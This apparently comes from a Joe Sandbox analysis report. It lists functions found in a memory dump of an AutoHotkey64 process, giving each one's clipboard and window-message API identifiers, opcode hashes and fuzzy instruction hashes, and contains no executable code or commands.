                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseFileFullGlobalMessageNameOperationPathPeekUnlock
                                                              • String ID:
                                                              • API String ID: 1286959346-0
                                                              • Opcode ID: eb21326f79f6078596ecb86ad50469d977dd55582c11736912fab9d4fba23c3e
                                                              • Instruction ID: be6a7ba225e21249ea5b796acc651ceeb27f7d8c14a4208844705fc9753af1d2
                                                              • Opcode Fuzzy Hash: eb21326f79f6078596ecb86ad50469d977dd55582c11736912fab9d4fba23c3e
                                                              • Instruction Fuzzy Hash: 8291A2B160464486F7668B27E4843E937A1F38DBE4F11022AFB5963AF6DB38C494C745
                                                              Function 0000000140045414 Relevance: 9.2, APIs: 6, Instructions: 179windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseCreateGlobalInitializeInstanceMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 2299052934-0
                                                              • Opcode ID: 09d2d90fc38a6bc8458c2d10026312a03bdaef46d518cb61a50f7bab1c2c1971
                                                              • Instruction ID: 68395a548d033bcddbaaff165ad9ea394dcfb0d0c0629e386415acf88649f50c
                                                              • Opcode Fuzzy Hash: 09d2d90fc38a6bc8458c2d10026312a03bdaef46d518cb61a50f7bab1c2c1971
                                                              • Instruction Fuzzy Hash: 3591A2B160464486F7668B27E4843E937E1F38DBE4F11022AFB5963AF6DB38C494C745
                                                              Function 0000000140045492 Relevance: 9.2, APIs: 6, Instructions: 179windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$Message$ClipboardCloseGlobalPeekSendUnlock
                                                              • String ID:
                                                              • API String ID: 1853169715-0
                                                              • Opcode ID: 560a5a05edfec7721c07a655414560f9d4bf56cd4779a6f1985a9a455f843be4
                                                              • Instruction ID: 7c43371369d7cd13a4310cf8e3f19be408287e3c4da01d2ccfc9c8257571eefd
                                                              • Opcode Fuzzy Hash: 560a5a05edfec7721c07a655414560f9d4bf56cd4779a6f1985a9a455f843be4
                                                              • Instruction Fuzzy Hash: 3491C4B160464486F7668B27E4843E937E1F38DBE4F11022AFB5963AF6DB38C491C745
                                                              Function 000000014004550E Relevance: 9.2, APIs: 6, Instructions: 179windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$Message$ClipboardCloseGlobalPeekSendUnlock
                                                              • String ID:
                                                              • API String ID: 1853169715-0
                                                              • Opcode ID: 6e6469455c0c5482e7af04582cf1ae012445bba39b4e50bf5cfec7036771fa7c
                                                              • Instruction ID: d22dcbf638ace4e805925e2df6d6c48cc9c6ddc285f23bd4e079839dda57135b
                                                              • Opcode Fuzzy Hash: 6e6469455c0c5482e7af04582cf1ae012445bba39b4e50bf5cfec7036771fa7c
                                                              • Instruction Fuzzy Hash: 2191C4B160464486F7668B27E4843E937E1F38DBE4F11022AFB5963AF6DB38C491C745
                                                              Function 000000014004551D Relevance: 9.2, APIs: 6, Instructions: 179windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$Message$ClipboardCloseGlobalPeekSendUnlock
                                                              • String ID:
                                                              • API String ID: 1853169715-0
                                                              • Opcode ID: 3095ed8a08aea36329e375ab1ce14efb48aa5dd1cbd9bdf28132c5310e9c6ede
                                                              • Instruction ID: d3b5b453d5814730e71c0b615a575635b6552538aacba1dcabab5306a51f58f7
                                                              • Opcode Fuzzy Hash: 3095ed8a08aea36329e375ab1ce14efb48aa5dd1cbd9bdf28132c5310e9c6ede
                                                              • Instruction Fuzzy Hash: C691D4B160464486F7668B27E4843E937E1F38DBE4F11022AFB5963AF6DB38C891C705
                                                              Function 00000001400439F3 Relevance: 9.2, APIs: 6, Instructions: 179windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 9376d31c1b2c4dbb8da401a6eca873ed5b48ffc5bc4a84366a6e434acc93300a
                                                              • Instruction ID: ce3b815e91545de9e46684aeb17be617597d9a2c472ac032d77be57754533bf4
                                                              • Opcode Fuzzy Hash: 9376d31c1b2c4dbb8da401a6eca873ed5b48ffc5bc4a84366a6e434acc93300a
                                                              • Instruction Fuzzy Hash: 7C91A2B160464486F7668B27E4843E937E1F38DBE4F11022AFB5963AF6DB38C494C745
                                                              Function 0000000140044098 Relevance: 9.2, APIs: 6, Instructions: 178windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: e08e5e1a903bf238034ff73d9a708ace7b4d99e3dd5af59e2154ff6fad838658
                                                              • Instruction ID: 6f3dc10f712ad0d203b7f497cad64fc8047312882923c201f9a7e9664e41fd44
                                                              • Opcode Fuzzy Hash: e08e5e1a903bf238034ff73d9a708ace7b4d99e3dd5af59e2154ff6fad838658
                                                              • Instruction Fuzzy Hash: 4291B2B160464486F7668B27E4843E937E1F38DBE4F11022AFB5963AF6DB38C494C745
                                                              Function 00000001400458AF Relevance: 9.2, APIs: 6, Instructions: 178windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$Message$ClipboardCloseGlobalPeekPostUnlock
                                                              • String ID:
                                                              • API String ID: 2416748954-0
                                                              • Opcode ID: d45b79702bd42972413a7372872e89dc97f5ab776aeeec78690fa004ae149ee7
                                                              • Instruction ID: 890dc5ee8afeb3f5d8e7e61f47114b41fdbee055e7b58dacb028645a92f51714
                                                              • Opcode Fuzzy Hash: d45b79702bd42972413a7372872e89dc97f5ab776aeeec78690fa004ae149ee7
                                                              • Instruction Fuzzy Hash: 8991B2B160464486F7668B27E4843E937E1F38DBE4F11022AFB5963AF6DB38C494C745
                                                              Function 0000000140043999 Relevance: 9.2, APIs: 6, Instructions: 178windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: f334039b6f49e02c827a2e142aa0b2ed54506feecaa304ba8595310e770e33f8
                                                              • Instruction ID: 7444d0b6599f5ef5c00608e9c3384df14311d59019e427b7eb00fb4705352e16
                                                              • Opcode Fuzzy Hash: f334039b6f49e02c827a2e142aa0b2ed54506feecaa304ba8595310e770e33f8
                                                              • Instruction Fuzzy Hash: FE91B2B160464486F7668B27E4843E937E1F38DBE4F11022AFB5963AF6DB38C494C745
                                                              Function 0000000140045935 Relevance: 9.2, APIs: 6, Instructions: 176windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: e97682fa6f2f235f6cd0a6219472f6c553879d3ca701634b0ca82dd30a35e997
                                                              • Instruction ID: ba936be2047825c428961340032be8763b6789d8ed7bb61c975aae5b0c9f62f6
                                                              • Opcode Fuzzy Hash: e97682fa6f2f235f6cd0a6219472f6c553879d3ca701634b0ca82dd30a35e997
                                                              • Instruction Fuzzy Hash: 3091C4B160064486F7668B27E4843E937A1F38DBE4F11022AFB5963BF6DB38C891C745
                                                              Function 0000000140045FF5 Relevance: 9.2, APIs: 6, Instructions: 175windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 7cad1e0846db67e805d68a7f67b9b0d420d7ad68da308dd02e678cecb19a3cbe
                                                              • Instruction ID: 0a741dbc94f88971fd61c21a951c449ce38298cec7d1a4d2dd51f2dd760eb6c4
                                                              • Opcode Fuzzy Hash: 7cad1e0846db67e805d68a7f67b9b0d420d7ad68da308dd02e678cecb19a3cbe
                                                              • Instruction Fuzzy Hash: 4491C5B160064486F7668B27E4843E937A1F38DBE4F11022AFB5963BF6DB38C890C745
                                                              Function 0000000140045FE4 Relevance: 9.2, APIs: 6, Instructions: 174windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClassClipboardCloseGlobalMessageNamePeekUnlock
                                                              • String ID:
                                                              • API String ID: 2021685357-0
                                                              • Opcode ID: 547df062252438ea5782a4581cfb1aff7721c98e7fa38a39a6d37438b4476308
                                                              • Instruction ID: 9d427cc45ece8f4f52cd0beaa04495fa50287390eaa0e040c0e97a915221bdd8
                                                              • Opcode Fuzzy Hash: 547df062252438ea5782a4581cfb1aff7721c98e7fa38a39a6d37438b4476308
                                                              • Instruction Fuzzy Hash: 7591C5B160064486F7568B27E4443E937A1F38DBE4F11022AFB5963BF6DB38C490C745
                                                              Function 0000000140045B2F Relevance: 9.2, APIs: 6, Instructions: 174windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 7638e97a80d618995ded60ab292a2e4feeb449c382e363ed80bf051bd1fe9689
                                                              • Instruction ID: 09778e01e854c96d3bf78f393353ea1219f4d908c415069aae7a737867dfc1c1
                                                              • Opcode Fuzzy Hash: 7638e97a80d618995ded60ab292a2e4feeb449c382e363ed80bf051bd1fe9689
                                                              • Instruction Fuzzy Hash: 4691C4B160064486F7668B27E4843E937A1F34DBE4F11022AFB5963BF6DB38C490C705
                                                              Function 0000000140045B3F Relevance: 9.2, APIs: 6, Instructions: 174windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 66b158b11aba11878de28f40653878366e6424b1ab4b6b93ae36f7eb09065635
                                                              • Instruction ID: e0a7d53534407a3de0f32d43d3fa476d0a9b74e39f43b15cbe488b1ece7073f5
                                                              • Opcode Fuzzy Hash: 66b158b11aba11878de28f40653878366e6424b1ab4b6b93ae36f7eb09065635
                                                              • Instruction Fuzzy Hash: F591B4B1604A4486F7668B27E4843E937A1F38DBE4F11022AFB5963BF6DB38C491C745
                                                              Function 0000000140045B48 Relevance: 9.2, APIs: 6, Instructions: 174windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
